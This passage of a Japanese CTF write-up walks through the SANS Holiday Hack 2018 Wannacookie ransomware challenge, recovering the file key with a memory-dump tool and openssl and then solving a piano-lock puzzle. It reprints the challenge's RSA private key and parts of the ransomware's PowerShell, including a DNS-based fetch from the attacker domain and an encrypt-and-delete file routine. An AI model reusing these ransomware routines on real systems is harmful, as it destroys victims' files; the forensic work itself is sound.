eP1RgCE5z0w0efyrybH9pXwrNTNSEJi7tXmbk8azcdIw5GsqQKeNs6qBSQKBgH1v sC9DeS+DIGqrN/0tr9tWklhwBVxa8XktDRV2fP7XAQroe6HOesnmpSx7eZgvjtVx moCJympCYqT/WFxTSQXUgJ0d0uMF1lcbFH2relZYoK6PlgCFTn1TyLrY7/nmBKKy DsuzrLkhU50xXn2HCjvG1y4BVJyXTDYJNLU5K7jBAoGBAMMxIo7+9otN8hWxnqe4 Ie0RAqOWkBvZPQ7mEDeRC5hRhfCjn9w6G+2+/7dGlKiOTC3Qn3wz8QoG4v5xAqXE JKBn972KvO0eQ5niYehG4yBaImHH+h6NVBlFd0GJ5VhzaBJyoOk+KnOnvVYbrGBq UdrzXvSwyFuuIqBlkHnWSIeC -----END PRIVATE KEY-----
ビンゴ!
あとは$p_k_e_k
がわかれば、共通鍵$b_k
を復号して、ファイル復号できそうだ。
$p_k_e_k
を得るため、メモリダンプを解析する。以下のツールを使った。
github.com
Power Dumpは、文字列長や文字種を条件にメモリ内の変数の値を検索できる。
まずは$p_k_e_k
がどういったフォーマットか確認する。
function H2A() { Param($a); $outa; $a -split '(..)' | ? { $_ } | forEach {[char]([convert]::toint16($_, 16))} | forEach {$outa = $outa + $_}; return $outa }; function B2H { param($DEC); $tmp = ''; ForEach ($value in $DEC) { $a = "{0:x}" -f [Int]$value; if ($a.length -eq 1) { $tmp += '0' + $a } else { $tmp += $a } }; return $tmp }; function p_k_e($key_bytes, [byte[]]$pub_bytes) { $cert = New-Object -TypeName System.Security.Cryptography.X509Certificates.X509Certificate2; $cert.Import($pub_bytes); $encKey = $cert.PublicKey.Key.Encrypt($key_bytes, $true); return $(B2H $encKey) }; function g_o_dns($f) { $h = ''; foreach ($i in 0..([convert]::ToInt32($(Resolve-DnsName -Server erohetfanu.com -Name "$f.erohetfanu.com" -Type TXT).Strings, 10) - 1)) { $h += $(Resolve-DnsName -Server erohetfanu.com -Name "$i.$f.erohetfanu.com" -Type TXT).Strings }; return (H2A $h) }; $p_k = [System.Convert]::FromBase64String($(g_o_dns("7365727665722E637274") ) ); $b_k = ([System.Text.Encoding]::Unicode.GetBytes($(([char[]]([char]01..[char]255) + ([char[]]([char]01..[char]255)) + 0..9 | sort {Get-Random})[0..15] -join '')) | ? {$_ -ne 0x00}); $p_k_e_k = (p_k_e $b_k $p_k).ToString(); ($p_k_e_k)
何度か実行する。
PS D:\Develop\CTF\Contest\HolidayChallenge2018> .\gen_p_k_e_k.ps1 3642154ea22d0ca93c166cc22989cfc3e6bdc60e253732d0107750e394208fae51b568a1077ac4542ccb7344f414f60be1e686178e6f4b1920d7fa711af59fef42ba6fe9fc38b0170ca042a92ba89bce145ca27c332bffe5be13d8730cae68846530c7728cc1b8e85da66b4b91943fd080c8ec219a2909b85e59aaa55e6bbdcef3df72012f568f0c6eae3fd32ef5bfc3e8c0843876b6b385333684cc3bda166da0b8a6791df7905900839670f6680e5248ed231f43c760a88f585a32f1fbff941dde558504a97e08d5826d3cd46a1b285897730c652f9bbc968be45718a113258b97dfcfdec1d7d777e9eee8f0f3f91cbef8bdcc58e39647dbbdce60ffedab77 PS D:\Develop\CTF\Contest\HolidayChallenge2018> .\gen_p_k_e_k.ps1 14399dc6a9dea0d9b1fc337c05551336bee6e58ab79b7e03f152de1072bf1db1e45037ad18cdd56c4ec88ff83644d0991fa70bff32df07be221afcd41fc5d299d561194106eebec8fd5fc755c8bd0aa50e89980a975180cb10412df35427f9d5a79e615b998ac0c2562e35ed7c9741b01c49278cb19dc27fe11144a28b7525facca69741759d1617169041a729c06e8927fe63a7f3b211cbe5e44020ab1eb59badee000b2a6a8b076668eb511cd6200c0315b7614ec024bf89a01ab60562f08064db7ef5889758b0fc41b96b25935476da8140427e3ca79acd5b724f77c69d2936193b81876691c0f6fd4dcf88d9373b181013e2e8de7c0ac8abfa1642645e67 PS D:\Develop\CTF\Contest\HolidayChallenge2018> .\gen_p_k_e_k.ps1 2445dca52cc037d2dea5e85a6854285d4090e08cc3064c5aa3ed150d29f313e6806904c2ce8bfad14b4b825cef4b63c9e4143c7ba1613bf6098c8c1e91e862f1feb3f291eb65450b531672c6be6bc75bdf28a538917ee2b775df0661f303bc3598db2fb32b296af1b7b3535d62b518f5d1910f536c2e1bed716b961b4b8db5bfb2100887afa7697cd14edf8ac08fb3fa02407392397b05042c79d899f538982a6167fd8bcb76b26e3cc6b8687391f209fa64d6749dfc941fb4c08341b955a1874601da91fdfab450d08a042c4974b366c8692467636bc374dcff6d8a832ba182b19200e968e8552162a13a0acbb41adeb71024cad5522e9f380e037a4eed9a74
512文字の16進数文字列ということがわかったので、Power Dumpを実行して$p_k_e_k
変数の値を特定する。
root@kali:~/Contest/HolidayChallenge2018# python power_dump.py powershell.exe_181109_104716.dmp ============================== | __ \ | |__) |____ _____ _ __ | ___/ _ \ \ /\ / / _ \ '__| | | | (_) \ V V / __/ | |_| \___/ \_/\_/ \___|_| __ __ \ \ ( ) / / \ \_ ( ) ( _/ / \__\ ) _ ) /__/ \\ ( \_ // `\ _(_\ \)__ /' (____\___)) _____ _ _ __ __ _____ | __ \| | | | \/ | __ \ | | | | | | | \ / | |__) | | | | | | | | |\/| | ___/ | |__| | |__| | | | | | |_____/ \____/|_| |_|_| Dumps PowerShell From Memory ============================== ======================================= 1. Load PowerShell Memory Dump File 2. Process PowerShell Memory Dump 3. Search/Dump Powershell Scripts 4. Search/Dump Stored PS Variables e. Exit : 1 ============ Load Dump Menu ================ COMMAND | ARGUMENT | Explanation ========|====================|============== ld | /path/to/file.name | load mem dump ls | ../directory/path | list files B | | back to menu ============= Loaded File: ================= ============================================ : ld powershell.exe_181109_104716.dmp ============ Load Dump Menu ================ COMMAND | ARGUMENT | Explanation ========|====================|============== ld | /path/to/file.name | load mem dump ls | ../directory/path | list files B | | back to menu ============= Loaded File: ================= powershell.exe_181109_104716.dmp 427762187 ============================================ : B ============ Main Menu ================ Memory Dump: powershell.exe_181109_104716.dmp Loaded : True Processed : False ======================================= 1. Load PowerShell Memory Dump File 2. Process PowerShell Memory Dump 3. Search/Dump Powershell Scripts 4. Search/Dump Stored PS Variables e. Exit : 2 [i] Please wait, processing memory dump... [+] Found 65 script blocks! [+] Found some Powershell variable names to work with... [+] Found 10947 possible variables stored in memory Would you like to save this processed data for quick processing later "Y"es or "N"o? : Successfully Processed Memory Dump! Press Enter to Continue... ============ Main Menu ================ Memory Dump: powershell.exe_181109_104716.dmp Loaded : True Processed : True ======================================= 1. Load PowerShell Memory Dump File 2. Process PowerShell Memory Dump 3. Search/Dump Powershell Scripts 4. Search/Dump Stored PS Variables e. Exit : 4 [i] 10947 powershell Variable Values found! ============== Search/Dump PS Variable Values =================================== COMMAND | ARGUMENT | Explanation ===============|=============================|================================= print | print [all|num] | print specific or all Variables dump | dump [all|num] | dump specific or all Variables contains | contains [ascii_string] | Variable Values must contain string matches | matches "[python_regex]" | match python regex inside quotes len | len [>|<|>=|<=|==] [bt_size]| Variables length >,<,=,>=,<= size clear | clear [all|num] | clear all or specific filter num =============================================================================== : len == 512 ================ Filters ================ 1| LENGTH len(variable_values) == 512 [i] 1 powershell Variable Values found! ============== Search/Dump PS Variable Values =================================== COMMAND | ARGUMENT | Explanation ===============|=============================|================================= print | print [all|num] | print specific or all Variables dump | dump [all|num] | dump specific or all Variables contains | contains [ascii_string] | Variable Values must contain string matches | matches "[python_regex]" | match python regex inside quotes len | len [>|<|>=|<=|==] [bt_size]| Variables length >,<,=,>=,<= size clear | clear [all|num] | clear all or specific filter num =============================================================================== : print 1 3cf903522e1a3966805b50e7f7dd51dc7969c73cfb1663a75a56ebf4aa4a1849d1949005437dc44b8464dca05680d531b7a971672d87b24b7a6d672d1d811e6c34f42b2f8d7f2b43aab698b537d2df2f401c2a09fbe24c5833d2c5861139c4b4d3147abb55e671d0cac709d1cfe86860b6417bf019789950d0bf8d83218a56e69309a2bb17dcede7abfffd065ee0491b379be44029ca4321e60407d44e6e381691dae5e551cb2354727ac257d977722188a946c75a295e714b668109d75c00100b94861678ea16f8b79b756e45776d29268af1720bc49995217d814ffd1e4b6edce9ee57976f9ab398f9a8479cf911d7d47681a77152563906a2c29c6d12f971 Press Enter to Continue...
512文字を条件にした段階で一意に特定できた。
$p_k_e_k
は、
3cf903522e1a3966805b50e7f7dd51dc7969c73cfb1663a75a56ebf4aa4a1849d1949005437dc44b8464dca05680d531b7a971672d87b24b7a6d672d1d811e6c34f42b2f8d7f2b43aab698b537d2df2f401c2a09fbe24c5833d2c5861139c4b4d3147abb55e671d0cac709d1cfe86860b6417bf019789950d0bf8d83218a56e69309a2bb17dcede7abfffd065ee0491b379be44029ca4321e60407d44e6e381691dae5e551cb2354727ac257d977722188a946c75a295e714b668109d75c00100b94861678ea16f8b79b756e45776d29268af1720bc49995217d814ffd1e4b6edce9ee57976f9ab398f9a8479cf911d7d47681a77152563906a2c29c6d12f971
のようだ。
このままでは16進数表現の文字列であるためバイナリ化する。xxdを使ってもCyberChefを使ってもよい。慣れた方法でどうぞ。
root@kali:~/Contest/HolidayChallenge2018# hexdump -C p_k_e_k.key 00000000 3c f9 03 52 2e 1a 39 66 80 5b 50 e7 f7 dd 51 dc |<..R..9f.[P...Q.| 00000010 79 69 c7 3c fb 16 63 a7 5a 56 eb f4 aa 4a 18 49 |yi.<..c.ZV...J.I| 00000020 d1 94 90 05 43 7d c4 4b 84 64 dc a0 56 80 d5 31 |....C}.K.d..V..1| 00000030 b7 a9 71 67 2d 87 b2 4b 7a 6d 67 2d 1d 81 1e 6c |..qg-..Kzmg-...l| 00000040 34 f4 2b 2f 8d 7f 2b 43 aa b6 98 b5 37 d2 df 2f |4.+/..+C....7../| 00000050 40 1c 2a 09 fb e2 4c 58 33 d2 c5 86 11 39 c4 b4 |@.*...LX3....9..| 00000060 d3 14 7a bb 55 e6 71 d0 ca c7 09 d1 cf e8 68 60 |..z.U.q.......h`| 00000070 b6 41 7b f0 19 78 99 50 d0 bf 8d 83 21 8a 56 e6 |.A{..x.P....!.V.| 00000080 93 09 a2 bb 17 dc ed e7 ab ff fd 06 5e e0 49 1b |............^.I.| 00000090 37 9b e4 40 29 ca 43 21 e6 04 07 d4 4e 6e 38 16 |7..@).C!....Nn8.| 000000a0 91 da e5 e5 51 cb 23 54 72 7a c2 57 d9 77 72 21 |....Q.#Trz.W.wr!| 000000b0 88 a9 46 c7 5a 29 5e 71 4b 66 81 09 d7 5c 00 10 |..F.Z)^qKf...\..| 000000c0 0b 94 86 16 78 ea 16 f8 b7 9b 75 6e 45 77 6d 29 |....x.....unEwm)| 000000d0 26 8a f1 72 0b c4 99 95 21 7d 81 4f fd 1e 4b 6e |&..r....!}.O..Kn| 000000e0 dc e9 ee 57 97 6f 9a b3 98 f9 a8 47 9c f9 11 d7 |...W.o.....G....| 000000f0 d4 76 81 a7 71 52 56 39 06 a2 c2 9c 6d 12 f9 71 |.v..qRV9....m..q| 00000100
opensslコマンドを使用して$b_k
を復号する。
暗号化処理である$encKey = $cert.PublicKey.Key.Encrypt($key_bytes, $true);
の第2引数が$true
であるため、OAEP パディングを使用している。
docs.microsoft.com
このため、opensslコマンドに-oaepオプションが必要である。 www.openssl.org
root@kali:~/Contest/HolidayChallenge2018# openssl rsautl -decrypt -in "p_k_e_k.key" -inkey "server.key" -oaep > b_k.key root@kali:~/Contest/HolidayChallenge2018# hexdump -C b_k.key 00000000 fb cf c1 21 91 5d 99 cc 20 a3 d3 d5 d8 4f 83 08 |...!.].. ....O..| 00000010
ファイル暗号化の共通鍵がfbcfc121915d99cc20a3d3d5d84f8308
であることがわかった。
2次検体のソースコードから抜粋して、alabaster_passwords.elfdb.wannacookie
を復号するソースコードを書く。
function e_d_file($key, $File, $enc_it) { [byte[]]$key = $key; $Suffix = "`.wannacookie"; [System.Reflection.Assembly]::LoadWithPartialName('System.Security.Cryptography'); [System.Int32]$KeySize = $key.Length * 8; $AESP = New-Object 'System.Security.Cryptography.AesManaged'; $AESP.Mode = [System.Security.Cryptography.CipherMode]::CBC; $AESP.BlockSize = 128; $AESP.KeySize = $KeySize; $AESP.Key = $key; $FileSR = New-Object System.IO.FileStream($File, [System.IO.FileMode]::Open); if ($enc_it) { $DestFile = $File + $Suffix } else { $DestFile = ($File -replace $Suffix) }; $FileSW = New-Object System.IO.FileStream($DestFile, [System.IO.FileMode]::Create); if ($enc_it) { $AESP.GenerateIV(); $FileSW.Write([System.BitConverter]::GetBytes($AESP.IV.Length), 0, 4); $FileSW.Write($AESP.IV, 0, $AESP.IV.Length); $Transform = $AESP.CreateEncryptor() } else { [Byte[]]$LenIV = New-Object Byte[] 4; $FileSR.Seek(0, [System.IO.SeekOrigin]::Begin) | Out-Null; $FileSR.Read($LenIV, 0, 3) | Out-Null; [Int]$LIV = [System.BitConverter]::ToInt32($LenIV, 0); [Byte[]]$IV = New-Object Byte[] $LIV; $FileSR.Seek(4, [System.IO.SeekOrigin]::Begin) | Out-Null; $FileSR.Read($IV, 0, $LIV) | Out-Null; $AESP.IV = $IV; $Transform = $AESP.CreateDecryptor() }; $CryptoS = New-Object System.Security.Cryptography.CryptoStream($FileSW, $Transform, [System.Security.Cryptography.CryptoStreamMode]::Write); [Int]$Count = 0; [Int]$BlockSzBts = $AESP.BlockSize / 8; [Byte[]]$Data = New-Object Byte[] $BlockSzBts; Do { $Count = $FileSR.Read($Data, 0, $BlockSzBts); $CryptoS.Write($Data, 0, $Count) } While ($Count -gt 0); $CryptoS.FlushFinalBlock(); $CryptoS.Close(); $FileSR.Close(); $FileSW.Close(); Clear-variable -Name "key"; Remove-Item $File } function H2B { param($HX); $HX = $HX -split '(..)' | ? { $_ }; ForEach ($value in $HX) {[Convert]::ToInt32($value, 16)} }; e_d_file $(H2B "fbcfc121915d99cc20a3d3d5d84f8308") "alabaster_passwords.elfdb.wannacookie" $false
alabaster_passwords.elfdb.wannacookie
を同じディレクトリに置いて実行する。
PS D:\Develop\CTF\Contest\HolidayChallenge2018> .\decrypt.ps1 PS D:\Develop\CTF\Contest\HolidayChallenge2018>
復号できた!
root@kali:~/Contest/HolidayChallenge2018# file alabaster_passwords.elfdb alabaster_passwords.elfdb: SQLite 3.x database, last written using SQLite version 3015002
SQLiteのファイルであるため、DB Browser for SQLiteを使用して内容を確認する。
sqlitebrowser.org
ED#ED#EED#EF#G#F#G#ABA#BA#B
が答え。
長い道のりだった・・・。
10) Who Is Behind It All?
ピアノ型のロックを解除する問題。
8で取得したPDFファイルのキー位置を参考に、9-4で取得したE D# E D# E E D# E F# G# F# G# A B A# B A# B
を入力する。
え?間違い?
ただ、適当に入力するとこのメッセージさえ表示されない。開発者ツールでNetworkを観察すると、/checkpass.php
から以下のデータを受け取っていることがわかる。
{"success":false,"message":"offkey"}
キーを下げろとのこと。D C# D C# D D C# D E F# E F# G A G# A G# A
を入力する。
開いた!
最後の部屋には、サンタや、途中で雪まみれになっていたハンズがいた。
あまりストーリーを追いかけていなかったが、サンタが仕掛けたドッキリのようなもの?
ということで、Santa
が答え。
所感
通常のCTFとは毛色の異なる問題が多かったが、問題のバリエーションが豊かで非常に楽しんで解くことができた。
(この3連休の半分がつぶれた気がするが、悔いはない。)
個人的にベスト問題は「8) Network Traffic Forensics」。HTTP2の勉強にもなった。
BloodHoundを使うきっかけになった「5) AD Privilege Discovery」も良かった。 惜しむらくは、あまり自分が理解しきれていないことだが。
また、サブ問題やSnortルールの問題など、ターミナルを使う問題が数多くあった。アクセスの度に自分用の環境が割り当てられているようで、大量の参加者がいる中、このようなインフラを整えるとはさすがSANSだなと感じた。(ただ、開催直後は頻繁に切れていた気もする。)
来年も是非参加したい。来年はもう少し早めに解いて英語版writeupを書いてエントリーしたい。
おまけ
城門の前の右下から隠し通路があり、その先に城を一望できる展望台エリアがあった。
見つけた時は、何か隠し要素があるものかとワクテカしていたが、最後まで何もなかった。なんだこれー。